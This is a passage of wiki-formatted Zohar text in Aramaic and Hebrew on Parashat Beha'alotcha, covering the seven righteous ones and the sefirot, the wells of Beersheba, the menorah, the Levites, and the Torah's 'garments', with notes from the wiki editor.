| 25. {{גמט|נתה}} || 26. {{גמט|האא}} || 27. {{גמט|ירת}} || 28. {{גמט|שאה}} || 29. {{גמט|ריי}} || 30. {{גמט|אום}} || 31. {{גמט|לכב}} || 32. {{גמט|ושר}}
|-
| 33. {{גמט|יחו}} || 34. {{גמט|להח}} || 35. {{גמט|כוק}} || 36. {{גמט|מנד}} || 37. {{גמט|אני}} || 38. {{גמט|חעם}} || 39. {{גמט|רהע}} || 40. {{גמט|ייז}}
|-
| 41. {{גמט|ההה}} || 42. {{גמט|מיכ}} || 43. {{גמט|וול}} || 44. {{גמט|ילה}} || 45. {{גמט|סאל}} || 46. {{גמט|ערי}} || 47. {{גמט|עשל}} || 48. {{גמט|מיה}}
|-
| 49. {{גמט|והו}} || 50. {{גמט|דני}} || 51. {{גמט|החש}} ||  52. {{גמט|עמם}} || 53. {{גמט|ננא}} || 54. {{גמט|נית}} || 55. {{גמט|מבה}} || 56. {{גמט|פוי}}
|-
|  57. {{גמט|נמם}} || 58. {{גמט|ייל}} || 59.  {{גמט|הרח}} || 60. {{גמט|מצר}} || 61. {{גמט|ומב}} || 62.  {{גמט|יהה}} || 63. {{גמט|ענו}} || 64. {{גמט|מחי}}
|-
| 65. {{גמט|דמב}} || 66. {{גמט|מנק}} || 67. {{גמט|איע}} || 68. {{גמט|חבו}} || 69. {{גמט|ראה}} || 70. {{גמט|יבמ}} || 71. {{גמט|היי}} || 72. {{גמט|מום}}
|}

: {{קטן|(וכאן מצאתי הע&quot;ב שמות היוצאים מג' פסוקים אלו במרובע. כל שם ושם מג' אותיות בבית אחד. י&quot;שר ה&quot;פוך י&quot;שר - וסימניך '''יהי''' אור. ולא הדפסתי אותו מפני יקר תפארת קדושתו)}}


הא אבהן במטלנין בעובדין בקשורין דמתקשרי דא בדא. וכד מתחברן כחדא - לית מאן דיקום קמייהו! {{ש}}
ותנינן באתר דאבהתא אשתכחו - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד.


{{קטן|'''[כאן שייך גרסינן שבעה וכו' שבסוף הספר סימן ח']''' }}{{הערה|העתקתי את הטקסט של סימן ח' לכאן במהדורה זו - ויקיעורך}}

{{גדול|'''['''}} שבעה יומין עלאין ברא קב&quot;ה בעלמא ועלייהו שתיל ובני עלמין. הדא הוא דכתיב {{צ|כי ששת ימים עשה יהוה}} {{ממ|שמות|לא|יז}} {{ממ|שמות|כ|י}} - ולא כתיב &quot;בששת&quot;. {{ש}}
ולקבל אינון שבעה יומין עלאין ברא קב&quot;ה בארעא שבעה זכאי קשוט לקיימא לון ולאנהרא לון - כל חד וחד לקבל יומיה. ושתיל להו כל חד וחד בדרא דאתחזי. ואינון אבהן דעלמא! אברהם יצחק יעקב יוסף משה אהרן דוד. ואינון אקרון {{צ|הרים}} - {{צ|הררי קדם}}, דאינון תליין מאינון שבעה יומין עלאין דאמרן. שיתא יומי בראשית ושביעאה דקיימא ואזיל קמייהו. הדא הוא דכתיב {{צ|ובית דויד כאלהים}} {{ממ|זכריה|יב|ח}}. 

ואף על גב דאיהו שביעאה - רביעאה איהו ביומין! ויוסף איהו שביעאה אבל כד אתכליל ביה ביוסף ויהיב ליה תפנוקא מבי מלכא - אקרי אוף איהי 'שביעאה'. וכולהו אחידו בה בשכינתא ברזא דשבעה. בגין דשכינתא אתקריאת {{צ|בת שבע}} - בת מאימא עילאה דאיהי כללא דשבע דרגין דעִמַה. ואיהי דרגא ד{{צ|צדק}}. עשיראה דאינון ספירן דאיקרי בהון קודשא בריך הוא. 


ואקרי שביעאה בקרא דכתיב {{צ|לך יהוה הגדולה והגבורה והתפארת והנצח וההוד כי כל בשמים לך יהוה הממלכה}} {{ממ|דה&quot;א|כט|יא}}

ומאי טעמא? והא רביעאה היא ליומי!? {{ש}}
אלא בגין דאיהי נטיעה בתראה דאתכלילת בשביעאה - בגין כך נטלה שמיה. וכלא חד! 

וכל חד וחד מאבהן ידע ליה לקב&quot;ה מגו דרגא דיליה ואחיד ביה בההוא דרגא. 
* אברהם ידע ליה לקב&quot;ה מגו חסד דאיהי מדת הגדולה, מדת החסד, ימינא דמלכא. ועל דא אחיד בה ולא שביק לה לעלמין, ועביד טיבו עם כל בני נשא ואוקמוה, דהא עובדוי סליקו ליה  להאי דרגא.
* יצחק ידע ליה בדרגא דגבורה דאקרי {{צ|פחד יצחק}} ודחיל ליה לעלמין. 
* יעקב ידע ליה מגו דרגא דתפארת דאיהו כליל מחסד ופחד, ואקרי {{צ|אמת}} ואחיד בה. הדא הוא דכתיב {{צ|תתן אמת ליעקב}} {{ממ|מיכה|ז|כ}}. 
* יוסף ידע ליה לקב&quot;ה מגו ההיא אספקלריא דאקרי {{צ|כל}} ואקרי {{צ|יסוד}} ואקרי {{צ|צדיק}}. ועל דא אקרי יוסף {{צ|כלכל}}{{הערה|וראו {{ממ|דה&quot;א|ב|ו}} - ויקיעורך}} דכתיב {{צ|ויכלכל יוסף}} {{ממ|בראשית|מז|יב}}, וכתיב {{צ|וצדיק יסוד עולם}} {{ממ|משלי|י|כה}}.
* משה ואהרן אינון תרין כרובים דאשתמע קלא דלעילא מבינייהו. ועל דא אתיהיבת אורייתא על ידייהו. הדא הוא דכתיב {{צ|ונועדתי לך שם ודברתי אתך}} {{ממ|שמות|כה|כב}}. ואינון תרין כרובין לעילא, ואינון {{צ|נצח והוד}}, ואינון תרין סמכי דגופא. כגוונא דא אית לה למטרוניתא לתתא תרין כרובין תחותה דינקין מינה. ואינון עלאין ודאי  {{צ|על ארון העדות}} דאקרי {{צ|צדק}}. 'ארונא דסהדותא' - מאן {{צ|עדות}}? דא יוסף. הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}, ואקרי {{צ|תורה שבכתב}}. והאי ארונא תורה שבעל פה. 

תא חזי כל אינון אבהן עלאין דאחידן לעילא רמיזין כלהו בתורה שבכתב, {{צ|תורת יהוה}}.  ודוד דאיהו אחיד בברייתא דאיהי תורה שבעל פה - רמיזא בדברי קבלה. ובגין כך אקרי {{צ|קבלה}} -  דמקבלת נהירו מתורה שבכתב דאיקרי {{צ|צדיק}} ואיקרי {{צ|יוסף}} ואיקרי {{צ|כל}}.


ואינון תרין כרובין עלאין קיימין על ההוא סהדותא דארונא. הדא הוא דכתיב {{צ|והנצח וההוד כי כל בשמים ובארץ}} {{ממ|דה&quot;א|כט|יא}}. ודא איהו סיומא דשמים ומזווג להאי ארץ. 

והכי הוא דכל מה שברא קודשא בריך הוא ברא לקבליה לתתא. ויוסף אקרי {{צ|עדות}} - הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}. ועל דא שמא דיוסף שלים בכלא - לעילא ותתא. ועל דא תנינן ארון דיוסף וארון דשכינתא בהדי הדדי הוו אזלין במדברא. והוו כולי עלמא אמרי &quot;''מה טיבן של שני ארונות הללו?''&quot;. ומתיבין לון &quot;''קיים זה מה שכתוב בזה''&quot; - {{צ|'''קיים'''}} ודאי! הדא הוא דכתיב {{צ|וצדיק יסוד עולם}} - איהו '''קיומא''' דעלמא. 

אתא דוד דאיהו שביעאה דאבהן - אחיד בה בהאי {{צ|בת שבע}} דאיהי {{צ|ממלכה}} ולא שביק לה לעלמין. הדא הוא דכתיב {{צ|ודוד עבדי נשיא להם לעולם}} {{ממ|יחזקאל|לז|כה}}, וכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. 

וכל דא אוליף לן אורייתא. דכולהו אחידן בה בשכינתא ברזא דשבע. 

תא חזי אברהם בוצינא קדמאה קדישא דעלמא כד בעא לסלקא לדרגיה{{הערה|נוסח אחר: &quot;לאתקרבא בשכינתא&quot;}} לא יכיל עד דסליק ואשתמודע באינון תלת דרגין עלאין דעליה דההוא חולקא דיליה. כיון דסליק ואשתמודע ליה לקב&quot;ה מגו אינון תלת דרגין דעם אינון שבעה דאינון '''כתר עליון חכמה בינה''', ואינון שלימו דעשר ספירן דאיקרי בהו קודשא בריך הוא. וכיון דסליק באינון תלתא דאינון עתיקא ואבא ואמא דנגיד מנהון נהירו לתתא - כדין אחיד לחולקיה ההוא דרגא דתחותייהו דאינון תלתא דאקרי '''חסד''' 

וכולהו אדביק לון מגו ההוא אספקלריא דשלטא בליליא. דבהו ודאי לא הוה בר נש דידע כלום. ועל דא תנינן {{צ|בן שלש שנים הכיר אברהם את בוראו}} - {{צ|בן שלש}} דייקא!

ותא חזי רזא דהני שלש שנים ולא פחות - בגין דשכינתא אתקריאת {{צ|בת שבע}}, ולא יכיל לאתקרבא בהדה עד דסליק באינון תלת דרגין עילאין דעם אינון שבע לאשתמודעא מגוון ולאתנהרא בכל מה דאיהו לתתא. ותלת ושבע  - הא עשר דרגין עלאין, רזא דשמא דקודשא בריך הוא. וכיון דהוה מתנהיר באינון תלתא - בעא לסלקא באינון שבע. ברזא דכתיב {{צ|ויצב אברהם את שבע כבשות}} {{ממ|בראשית|כא|כח}}. 

ורזא דא רמז לאבימלך דלא ישלטון עליהון בנוי{{הערה|נוסח אחר: &quot;יתפרעון מנהון&quot;}} עד דישתלמו אינון שבעה זכאי קשוט בישראל לקבל אינון שבע דרגין דלעילא. כיון דאשתלימו - יתיב עלמא תתאה כגוונא דעלמא עלאה בקיומא שלים, וייתי דוד דאיהו שבעאה ויתער לההיא בת שבע דלעילא דאיהי נקמא נוקמיהון דישראל ויתפרע מנהון. {{ש}}
הדא הוא דכתיב {{צ|ויהי אחרי כן ויך דוד את פלשתים ויכניעם ויקח דוד את מתג האמה מיד פלשתים}} {{ממ|ש&quot;ב|ח|א}}. מאי {{צ|ויהי אחרי כן}}? בתר דאשתלימו ישראל והוו כגוונא דלעילא - כדין {{צ|ויך דוד את פלשתים וגו'}} - דהא עד השתא לא יכילו ישראל למתבר תוקפיהון. והא אתערו חבריא בההוא מתג האמה. ואוקמוה. 

ותא חזי האי דרמיז ליה אברהם בכבשות הצאן ולא בעזים ולא במידי אחרינא - בגין דאינון מסטרא דחסד, מאינון ממנן דינקין מסטרא דחסד, וינקין לתתא אינון כבשים תחות שלטניהון. ואברהם אחיד לחולקיה מדת החסד. וכלא ברזא דחכמתא. {{ש}}
ועל דא תנינן מאן דשרי גו ענא - לא מסתכן לעלמין! ואי איהו שארי גו עזיא ורעי לון - כמה גרדיני נימוסין יתבין לקבליה לאסטאה! בגין דאינון מסטרא דדינא קשיא. 

אבל כד אתא יצחק למגזר עמיה קְיָים - גזר עמיה ב{{צ|שבעה}} - בשכינתא דאתגליא מגו ההוא בירא דכתיב {{צ|ויקרא אותה שבעה}} {{ממ|בראשית|כו|לג}}. 

תא חזי אברהם קרא לההיא בירא דמיין נבעין {{צ|באר שבע}}. יצחק קרא ליה {{צ|שבעה}}. מה בין האי להאי?{{ש}}
אלא בגין דיצחק אחיד לחולקיה דרגא ד{{צ|פחד}} דאיהו דינא! ועל דא אוסיף בה '''ה''''. ו'''ה'''' בכל אתר היא מדת הדין. הדא הוא דכתיב {{צ|ויקרא אותה '''שבעה'''}} - דלא עבד בחורפן כמה דעבד אבוה. וכלא ברזא דחכמתא. ואוסיף בה '''ה'''' לאחזאה דאיהי חולקיה.

תא חזי כד ברא קודשא בריך הוא עלמא - ברא ליה בדינא. כיון דחזא דלא מתקיים - שיתף ביה חסד. הדא הוא דכתיב {{צ|בהבראם ביום עשות יהוה אלהים}} {{ממ|בראשית|ב|ד}}. ואוקמוה {{צ|באברהם}} אתקיים עלמא. בגיני כך האי בירא ביתא דעלמא על שמיה אתקרי. הדא הוא דכתיב {{צ|על כן קרא שם העיר באר שבע}} {{ממ|בראשית|כא|לא}}. אף על גב דהאי בירא אתדבק ביצחק דכתיב {{צ|ויקרא אותה שבעה}} - שמיה {{צ|באר שבע}} סטרא דאברהם! ולא &quot;באר שבעה&quot;!  הדא הוא דכתיב {{צ|וימינו תחבקני}} {{ממ|שיר|ב|ו}}. 


ותא חזי ארבעה מאינון שבעה זכאי קשוט כד בעו לאתקרבא בשכינתא ברזא ד{{צ|שבע}} - כולהו ערעו בהאי באר דלא פסקו מימוי לעלמין. {{ש}}
אברהם כרי ליה להאי בירא בגין דאיהו אוליף לכל בני עלמא דיפלחון לקודשא בריך הוא. וכיון דכרי ליה - אפיק מיין נבעין דלא פסקין לעלמין. וכיון דמית אברהם  מה כתיב? {{צ|וְכׇל הַבְּאֵרֹת אֲשֶׁר חָפְרוּ עַבְדֵי אָבִיו בִּימֵי אַבְרָהָם אָבִיו}} {{ממ|בראשית|כו|טו}} - '''{{צ|בארת}}''' כתיב. וחד הוה דכתיב {{צ|באר שבע}}. וקרינן {{צ|בארות}} - משמע דסגיאין הוו! בגין דהאי בירא אתחזי לון לאבהן בכל דוכתא דהוו אזלין - הוה מתחזי לון כבירין סגיאין.

כיון דמליוהא פלשתים עפרא - רזא דאהדרו בני עלמא לעבודה זרה, והוה עלמא שמם דלית דידע ליה לקודשא בריך הוא. כיון דאתא יצחק מה כתיב? {{צ|וַיָּשׇׁב יצחק ויחפור את בְּאֵרֹת המים אשר חפרו בימי אברהם אביו}} {{ממ|בראשית|כו|יח}}. מאי {{צ|וישב}}? אלא דאתיב עלמא לתיקוניה ואוליף לון לבני עלמא דידעין ליה לקודשא בריך הוא. הדא הוא דכתיב {{צ|ויהי אחרי מות אברהם ויברך אלהים את יצחק בנו}} {{ממ|בראשית|כה|יא}}. 

האי בירא ממאן הוה? ממיין דכל חיין דעלאין ותתאין וקיומיהון תליין ביה!  וחזי כלא! הדא הוא דכתיב {{צ|ידע מה בחשוכא ונהורא עמיה שרא}} {{ממ|דניאל|ב|כב}}. 

ותא חזי אינון {{צ|עבדי יצחק}} בגין דאינון מסטרא דדינא קשיא - כד חפרו ליה מה כתיב ביה? {{צ|שטנה}}. והא אוקמוה. עד דאתא איהו ויחפור באר אחרת {{ממ|בראשית|כו|כב}} {{צ|ויקרא שמה רחובות}} ודאי .  אבל עבדי אביו - בגין דכלהו מסטרא דימינא אתיין - ולא הוה שטנה בעלמא ולא נפיק דינא מהאי בירא לאשטנא לון כד לא כשרין עובדיהון. 

ומהאי בירא איהו פתחא למידע ליה לקודשא בריך הוא! הדא הוא דכתיב {{צ|פתחי לי שערי צדק אבא בם אודה יה}} {{ממ|תהלים|קיח|יט}}.

ועד דלא סליק יצחק מעלמא - בריך ליה ליעקב ושלחיה לחרן לאזדווגא. וכד אזיל לחרן מה כתיב? {{צ|וירא והנה באר בשדה}} {{ממ|בראשית|כט|א}}. כיון דחזא יעקב יקרא דקודשא בריך הוא מגו ההוא בירא דאיקרי {{צ|באר שבע}} - כדין אמר ללבן {{צ|אעבדך שבע שנים ברחל בתך הקטנה}} - {{צ|הקטנה}} דייקא!


תא חזי לקבל אינון שבעה זכאין פקיד קודשא בריך באורייתיה לקרבא קרבן מוסף בשבעה זמנין בשתא, בגין לאוספא להו תפנוקין ועדונין מבי מלכא. אבהן ישבעון בקדמיתא ובתר כן בנין. והם שבעה זמנין ולא יתיר.  
* '''בשבתא''' - לקבל צדיק יסוד עולם דאיקרי '''{{צ|כל}}''' ואיקרי '''{{צ|שבת}}'''{{הערה|נוסח אחר: &quot;מוסף שבת&quot;}} - לאוספא ליה עדונין ממוחא סתימא.
* '''ובריש ירחא''' - לקבל כנסת ישראל דאתקריאת {{צ|סיהרא}}, והוא דוד.
* '''ומחמיסר יומא לירחא קדמאה''' - לקבל אברהם אבוהון דאחיד במדת החסד ואקרי {{צ|ראשון}}.
* '''בירחא תליתאה בעצרת''' דאתיהיבת ביה אורייתא בשבעה קולות - לקבל יעקב דאיהו תליתאי לאבהן ואחיד ב{{צ|קול}} - {{צ|קול יעקב}}.
* '''ובריש שתא''' - לקבל יצחק דאתיליד ביה, ואנן מדכרינן ביה עקידת יצחק, ואיהו יומא דדינא לקבל מדת הדין דאחיד בה.
* '''וביום הכפורים''' - לקבל משה דקביל ביה קודשא בריך הוא צלותיה וחס על ישראל ואהדר ליה אורייתא. 
* '''בחג הסוכות''' - לקבל אהרן דבזכותיה אזלין אינון שבעה עננים דחפאן על ישראל כסוכות, ובגין כך אינון עבדין סוכה.

וכל אורייתא אית בה כמה רזין עלאין סתימין בה! וכד אלין שבעה מתוספין בברכאן - כל עלמא בשלימו סגיאה!{{ררר}}  {{גדול|''']'''}}


שבעה קשורין אינון דמתקשרי בהו  תלת אבהן וארבע אחרנין. 
* רישא ואמצעיתא בקשורא חדא, ואלין אינון דחפרו בירא דמיא. 
* תניינא - {{צ|זה אל זה}}, ואינון קשורא חדא בתלת יודין. 
* תליתאה - שלימו דכל מהימנותא. 
* רביעאה - תרין קיימין דגופא קיימא עלייהו. 
* חמישאה - טב וביש. נהרא דנפיק אילנא דחיי ומותא עמיקתא דכלא. 
* שתיתאה - דינא ברחמי. 
* שביעאה - בקדמיתא אתמר בההוא רישא דאמרן. 

בגין דאיהו אמצעיתא דכלא. ובגין דאיהו אמצעיתא דכלא אקרי ''{{צ|אני}}''' - קיומא דכל ענפין דמתאחדן מסחרניה. 


שבעה דרגין אלין - מדרגא חדא לדרגא  אחרא אשתמודעא רתיכא חדא בכל אינון דמתאחדאן ביה. וכן מדרגא לדרגא. וכלהו אתנהגן אבתריה דההוא דרגא דאתפקדא עלייהו. והא אוקימנא מלי. 

תא חזי בשעתא דאלין דרגין משתכחי - כל מהימנותא אשתכח! ואלין שבעה עננין דאסחרו להו לישראל. בגין כך כד נטלא שכינתא - באבהתא נטלא. וכד אלין נטלין - כלהו דרגין אחרנין נטלין בהו. וכדין אתעטרת כנסת ישראל כדקא יאות. 

תא חזי זבולן דקאמרן ירית {{צ|ים כנרת}} - ים כנרת סתם. והכי אתחזי. אי הכי יהודה מה חולקא אית ביה? אלא יהודה נטל מלכותא כלא ואתאחיד ביה בכל סטרין. 


רבי אלעזר אמר: האי פרשתא - הא אתמר עובדא דמנרתא ותקונהא וכל מה דבה! אמאי הכא זמנא אחרא? {{ש}}
אלא כיון דנשיאים קריבו  קורבנא דמדבחא וכל תקונא דאתחזי ליה - אתא קרא ואשתעי עובדא דמנרתא דהיא תקונא על ידא דאהרן. דהא לעילא מנרתא וכל בוצינין  דילה - על ידא דאהרן נהרין כלא. 

תא חזי מדבחא תריסר נשיאין הוו לחנכא ליה ולאתקנא ליה, והא אוקמוה, תריסר אינון שבטין לארבע סטרין ארבע דגלים. וכלהו  כגוונא דלעילא! &lt;קטע סוף=דף קנא א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|ב}}{{ש}}
&lt;קטע התחלה=דף קנא ב/&gt;מנרתא אתמני בשבעה בוצינין לאדלקא על ידא דכהנא - וכלא כגוונא דלעילא. ומנרתא על את קיימא, ובניסא אתעבידת, והא אוקמוה בעובדא דמנרתא. 

ומדבח פנימאה ומנרתא קיימי כחדא לחדוותא דכלא דכתיב {{צ|שמן וקטרת ישמח לב}} {{ממ|משלי|כז|ט}}.  ואוקימנא דתרי מדבחן הוו; חד פנימאה דכלא והאי קיימא לחדוותא, וחד לבר לקרבאה קרבנין. ומהאי פנימאה נפיק להאי דלבר. ומאן דחמי ויסתכל - ינדע חכמתא עלאה. רזא דמלה '''אֲדֹנָי יֱהֹוִה'''. ועל דא לא אתקרב קטרתא אלא בשעתא דשמן אשתכח. 

אשכחנא בספרא דשלמה מלכא - קטרת הוא לחדוה ולסלקא מותנא. מאי טעמא? בגין דדינא מהאי דלבר אשתכח. וחדוותא וחדו וקשורא דנהירו מההוא פנימאה דכל חידו ביה קיימא. וכד האי אתער - כל דינא אסתלק מהאי, ולא יכיל למעבד דינא. ובגין כך קטרת קיימא לבטלא מותנא. ועל דא קטרת קשירו הוא דכלא ודא אתקריב בההוא פנימאה. 

זכאין אינון ישראל בעלמא דין ובעלמא דאתי עלייהו כתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיה|מט|ג}}!


'''{{צ|קח את הלוים מתוך בני ישראל וטהרת אתם}} {{ממ|במדבר|ח|ו}}''' הא אוקמוה דבעי לדכאה  לון ולאמשכא לון לאתקשרא באתרייהו. בגין דאינון דרועא שמאלא וסטרא דדינא, וכל מאן דאתי מסטרא דדינא בעי דלא ירבי שערא בגין דאסגי דינא בעלמא. ועל דא אתתא כהאי גוונא - דלא יתחזי שערא לבר, ובעייא לאתחפייא רישה ולכסי שערהא. ואוקימנא והא אתמר. וכדין אתברכן כל אינון דאתיין מסטרא דדינא. {{ש}}
ועל דא בליואי כתיב '''{{צ|וכה תעשה להם לטהרם וגו' והעבירו תער וגו'}} {{ממ|במדבר|ח|ז}}'''. 

ואתמר, ליואי לא סלקין לאתרייהו עד דירים לון כהנא, בגין דימינא מדבר תדיר לשמאלא. 

ר' שמעון אמר: ביומא דסלקין ליואי בדוכתייהו - בתרין פרים. מאי טעמא פרים? אלא אינהו כפרים לקבלא בשמאלא להאי פרה דאקרי {{צ|פרה אדומה}}. {{ש}}
כהנא - כל חילא וכל תקונא ביה תלייא! בגין דכל חילא דגופא - בדרועא ימינא קיימא. ועל דא כהנא דרועא ימינא דישראל כלהו הוי, וביה קיימא לאתקנא כלא ולאתקנא עלמא. ועם כל דא לא אשתכח בלחודוי אלא בגופא ושמאלא. וגופא עקרא הוא דכלא.


{{קטן|'''[כאן שייך מאמר {{צ|והניף}} שבסוף הספר סימן ט']'''{{הערה|העתקתי את הטקסט של סימן ט' לכאן במהדורה זו - ויקיעורך}}}}

{{גדול|'''['''}} '''{{צ|והניף אהרן את הלוים תנופה לפני יהוה}} {{ממ|במדבר|ח|יא}}''' 

רבי יהודה שאיל לרבי אבא: &quot;''למה היה הכהן מניף את הלוים?''&quot;{{ש}}
אמר לו: &quot;''משל למה הדבר דומה - לתינוק כשהוא בוכה וכועס. מה עושין כדי לפייסו?''&quot;{{ש}}
אמר לו רבי יהודה: &quot;''מניפין אותו ומנענעים אות כדי לשתקו.''&quot;

אמר לו רבי אבא: יהודה יהודה! מלה זאת באה לידך ולא חקרת בה! והלא ישמעו אזניך מה שפיך מדבר! כך היא מדת הגבורה - כועסת ורוגזת דכתיב {{צ|שמעון ולוי אחים כלי חמס מכרותיהם}} {{ממ|בראשית|מט|ה}}, וכתיב {{צ|ארור אפם כי עז ועברתם כי קשתה}} {{ממ|בראשית|מט|ז}} לפי שהם מתגברים ומתקשים באפם ועברתם לצאת לעשות דין לכלות ולהכרית בני העולם. אזי הכהן שהוא החסד העליון מניף אותו הצד של הלוים שהיא מדת הגבורה כדי לשכך ולשקט רוגזה וכעסה כדי שישתברו השערות מכל שוליהון ולא יתגברו ולא יתחזקו. כעין דוגמא זו הכהן שמניף את הלוים תנופה כדי שישקוט הצד של הגבורה שלהן כדי שלא יתעורר הדין בעולם.{{הערה|סגנון המילים של הקטע לא נראים כטקסט של הזוהר במלואם לענ&quot;ד. נראים כסוג של פירוש ובלשון עברית. ואני העתקתי כמו שמופיע בנספח של דפוס ווילנא. וצע&quot;ע - ויקיעורך}} 

בא רבי יהודה ונשק את ידיו.  

וכשיתעוררו הדינין בעולם כל הדינים הנמצאים בכל יום ויום אברהם אבינו עליו השלום הוא דוחה אותה לחוץ ואינם עומדים לפניו. הדא הוא דכתיב {{צ|ואל זועם בכל יום}} {{ממ|תהלים|ז|}} {{גדול|''']'''}}


'''{{צ|זאת אשר ללוים מבן חמש ועשרים שנה ומעלה יבוא לצבא צבא בעבדת אהל מועד}} {{ממ|במדבר|ח|כד}}''' {{ש}}
תא חזי ליואה בר חמש ועשרין שנין יפלח. בר חמשין שנין - סליק לדוכתיה ואתעטר. וחמש ועשרין יפלח. דהא בר נש  כד סליק להאי דרגא דחמשין שנין ולהלאה - נחית מן תוקפא דאשא דביה. וכיון דאשא וחמימותא אתקרר - הא פגים לההוא אתר דאתקשר ביה. {{ש}}
ועוד - דקלא דזמרא לא אתקשר בהדיה כל כך. וקלא בעי דלא יתפגם אלא בעי לאתקפא! דהא באתר דדינא תקיף קיימא ולא בחלשא. ובגין כך לא בעי לאחזאה חולשתא כלל בכל סטרין. 

זכאה הוא בר נש דאשתדל באורייתא וינדע אורחוי דקב&quot;ה ולא סטי לימינא ולשמאלא דכתיב {{צ|כי ישרים דרכי יהוה}} {{ממ|הושע|יד|י}}:


'''{{צ|וידבר יהוה אל משה במדבר סיני בשנה השנית לצאתם מארץ מצרים בחדש הראשון לאמר}} {{ממ|במדבר|ט|א}}'''. {{ש}}
אמר ר' אבא: מאי טעמא אזהר להון הכא על פסחא, והא אתמר להו במצרים!? {{ש}}
אלא {{צ|בשנה השנית}} הוה - דישראל חשיבו דהא פסח לאו איהו אלא במצרים, וכיון דעבדו ליה זמנא חדא במצרים חשיבו דלא אצטריך יתיר. אתא קב&quot;ה ואזהר לון עליה דלא יחשבון דהא קא עבר זמניה במצרים ולא יצטריך. &lt;קטע סוף=דף קנא ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנב|א}}{{ש}}
&lt;קטע התחלה=דף קנב א/&gt;בגין כך '''{{צ|במדבר סיני בשנה השנית}}''' - לאתקנא להו לדרי דרין. ואע&quot;ג דהא אזהר להו במצרים - השתא פקיד לון זמנא אחרא בההוא אתר דכל פקודין דאורייתא ביה אתיהיבו. ועל דא {{צ|בשנה השנית}}. 

מאי '''{{צ|בשנה השנית בחדש הראשון}}'''? אלא רזא עלאה היא! חד שנה וחד חדש. מה בין האי להאי? חדש - דא סיהרא. שנה - דא שמשא דנהיר לסיהרא. וכדין הוה בזמנא דכל פקודין דאורייתא אתמסרו ביה.

 
רבי שמעון אמר: ווי לההוא בר נש דאמר דהא אורייתא אתא לאחזאה ספורין בעלמא ומלין דהדיוטי! דאי הכי אפילו בזמנא דא אנן יכלין למעבד אורייתא במלין דהדיוטי ובשבחא יתיר מכלהו! אי לאחזאה מלה דעלמא - אפילו אינון קפסירי דעלמא אית בינייהו מלין עלאין יתיר - אי הכי נזיל אבתרייהו ונעביד מנייהו אורייתא כהאי גוונא! אלא כל מלין דאורייתא מלין עלאין אינון ורזין עלאין! 

תא חזי עלמא עלאה ועלמא תתאה בחד מתקלא אתקלו. ישראל לתתא, מלאכי עלאי לעילא. מלאכי עלאי כתיב בהו {{צ|עושה מלאכיו רוחות}} {{ממ|תהלים|קד|ד}} - בשעתא דנחתין לתתא  מתלבשי בלבושא דהאי עלמא! ואי לאו מתלבשי בלבושא כגוונא דהאי עלמא - לא יכלין למיקם בהאי עלמא ולא סביל לון עלמא. ואי במלאכי כך - אורייתא דברא להו וברא עלמין כלהו וקיימין בגינה - על אחת כמה וכמה! כיון דנחתת להאי עלמא - אי לאו דמתלבשא בהני לבושין דהאי עלמא - לא יכיל עלמא למסבל! 

ועל דא האי ספור דאורייתא - לבושא דאורייתא איהו! מאן דחשיב דההוא לבושא איהו אורייתא ממש ולא מלה אחרא - תיפח רוחיה ולא יהא ליה חולקא בעלמא דאתי! בגין כך אמר דוד {{צ|גל עיני ואביטה נפלאות מתורתך}} {{ממ|תהלים|קיט|יח}} - מה דתחות לבושה דאורייתא. 

תא חזי אית לבושא דאתחזי לכלא, ואינון טפשין כד חמאן לבר נש בלבושא דאתחזי לון שפירא - לא מסתכלין יתיר. חשיבו דההוא לבושא - גופא! חשיבותא דגופא - נשמתא! {{ש}}
כהאי גוונא אורייתא - אית לה גופא ואינון פקודי אורייתא דאקרון 'גופי תורה'. האי גופא מתלבשא בלבושין דאינון ספורין דהאי עלמא. טפשין דעלמא לא מסתכלי אלא בההוא לבושא דאיהו ספור דאורייתא ולא ידעי יתיר, ולא מסתכלי במה דאיהו תחות ההוא לבושא. אינון דידעין יתיר - לא מסתכלן בלבושא אלא בגופא דאיהו תחות ההוא לבושא. חכימין עבדי דמלכא עלאה, אינון דקיימו בטורא דסיני - לא מסתכלי אלא בנשמתא דאיהי עקרא דכלא, אורייתא ממש.  ולזמנא דאתי זמינין לאסתכלא בנשמתא דנשמתא דאורייתא! 

תא חזי הכי נמי לעילא! אית לבושא, וגופא, ונשמתא, ונשמתא לנשמתא! 
* שמיא וחיליהון - אלין אינון לבושא. 
* וכנסת ישראל - דא גופא דמקבלא לנשמתא דאיהי תפארת ישראל, ועל דא איהו גופא לנשמתא. 
* נשמתא דאמרן - דא תפארת ישראל דאיהי אורייתא ממש. 
* ונשמתא לנשמתא - דא איהו עתיקא קדישא. {{ש}}
וכלא אחיד דא בדא! 

ווי לאינון חייביא דאמרי דאורייתא לאו איהי אלא ספורא בעלמא, ואינון מסתכלי בלבושא דא ולא יתיר! {{ש}}
זכאין אינון צדיקייא דמסתכלי באורייתא כדקא יאות! חמרא לא יתיב אלא בקנקן - כך אורייתא לא יתיב אלא בלבושא דא. ועל דא לא בעי לאסתכלא אלא במה דאית תחות לבושא. ועל דא כל אינון מלין וכל אינון ספורין - לבושין אינון!


'''{{צ|וְיַעשו את בני ישראל את הפָּסח במועדו}} {{ממ|במדבר|ט|ב}}'''. מאי {{צ|ויעשו}}? אמר רבי יוסי הא אתמר כל מאן דאחזי עובדא לתתא כדקא יאות - כאילו עביד ליה לעילא! דהא בגיניה אתער ההוא מלה כביכול כאילו הוא עביד ליה. והא אתמר. &lt;קטע סוף=דף קנב א/&gt;
 

{{ממ זהר משולב|ג|קנב|ב}}{{ש}}
&lt;קטע התחלה=דף קנב ב/&gt;'''{{צ|איש איש כי יהיה טמא וגו'}} {{ממ|במדבר|ט|י}}''' - {{צ|איש איש}} תרי זמני אמאי? אלא איש דהוא איש ויתחזי לקבלא נשמתא עלאה, והוא פגים גרמיה דלא שרייא עלוי  נשמתא עלאה. מאי טעמא? בגין דאיהו גרים והוא מסאב ליה לגרמיה. ועל דא {{צ|איש איש}} - איש דיתחזי למהוי 'איש', והוא מסאב גרמיה דלא ישרי עלוי קדושה דלעילא.

